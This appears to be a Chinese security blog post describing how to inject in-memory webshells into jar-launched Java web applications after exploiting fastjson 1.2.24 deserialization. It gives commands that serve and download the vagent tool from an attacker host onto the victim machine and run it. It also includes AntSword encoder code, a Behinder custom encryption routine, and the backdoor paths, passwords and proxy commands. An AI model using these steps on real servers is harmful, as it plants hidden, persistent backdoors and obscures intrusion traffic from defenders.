免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
前言:
攻防或渗透过程中经常会遇到jar包启的web程序,这种就没办法通过搜索静态文件找目录写马了,这里演示使用vagent注入工具注入内存马。
案例演示:
此处使用fastjson 1.2.24反序列化来做演示。
这里不再演示如何通过反序列化获取权限,这个不是重点。
同样的先把会话反弹到服务器。
接着需要将vagent下载到被害机器内。
python3 -m
http.server 1234 #启动web服务器
wgethttp://xx.xx.xx.xx:1234/vagent.jar #下载工具
java -jar vagent.jar #执行
此处根据返回可知注入成功。
其中蚁剑连接需要配置编码器,其中链接以/faviconjs结尾密码是a。编码器内容如下图:
;
module.exports = (pwd, data, ext={}) =>
{
data[pwd]=
Buffer.from(Buffer.from(data['_']).toString('base64')).toString('base64');
delete data['_'];
return data;
}
冰蝎链接以 /faviconb 结尾,需要自定义加解密协议。
private byte[] Encrypt(byte[] data) {
byte[] dt = new byte[data.length];
for (int i = 0; i < data.length; i++) {
dt[i] = (byte) (data[i] + 1);
}
try {
java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream();
java.util.zip.GZIPOutputStream g = new java.util.zip.GZIPOutputStream(o);
g.write(dt);
g.close();
byte[] c = o.toByteArray();
byte[] ct = new byte[c.length];
for (int i = 0; i < c.length; i++) {
ct[i] = (byte) (c[i] + 1);
}
return ct;
} catch (Exception ignored) {
}
return data;
}
private byte[] Decrypt(byte[] data) {
byte[] dt = new byte[data.length];
for (int i = 0; i < data.length; i++) {
dt[i] = (byte) (data[i] - 1);
}
try {
java.io.ByteArrayInputStream t = new java.io.ByteArrayInputStream(dt);
java.util.zip.GZIPInputStream i = new java.util.zip.GZIPInputStream(t, dt.length);
byte[] c = r(i);
byte[] ct = new byte[c.length];
for (int b = 0; b < c.length; b++) {
ct[b] = (byte) (c[b] - 1);
}
return ct;
} catch (Exception ignored) {
}
return data;
}
private byte[] r(java.io.InputStream i) {
byte[] temp = new byte[1024];
java.io.ByteArrayOutputStream b = new java.io.ByteArrayOutputStream();
int n;
try {
while((n = i.read(temp)) != -1) {b.write(temp, 0, n);
}} catch (Exception ignored) {
}
return b.toByteArray();
}
其他内存马:
1.CMD马
链接:以 /faviconc 结尾
POST两次Base64以后的命令
2.Neo代理内存马
链接:以 /faviconneo 结尾
密码:page,要加--skip
python3 neoreg.py -k page -u URL -p 1083 --skip
3.Suo5代理内存马
链接:以 /faviconsuo 结尾
无需密码
4.WebSocket代理内存马
链接:以 /faviconws 结尾
无需密码,使用gost进行连接
总结
此工具主要适用于jar包启动的web服务获取权限后为了方便后续操作注入内存马,也可以是常规工具内存马注入不进去(如shiro反序列化),前提环境能够出网。
参考文章:
https://github.com/veo/vagent
原文始发于微信公众号(Khan安全攻防实验室):jar包环境下注入内存马
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论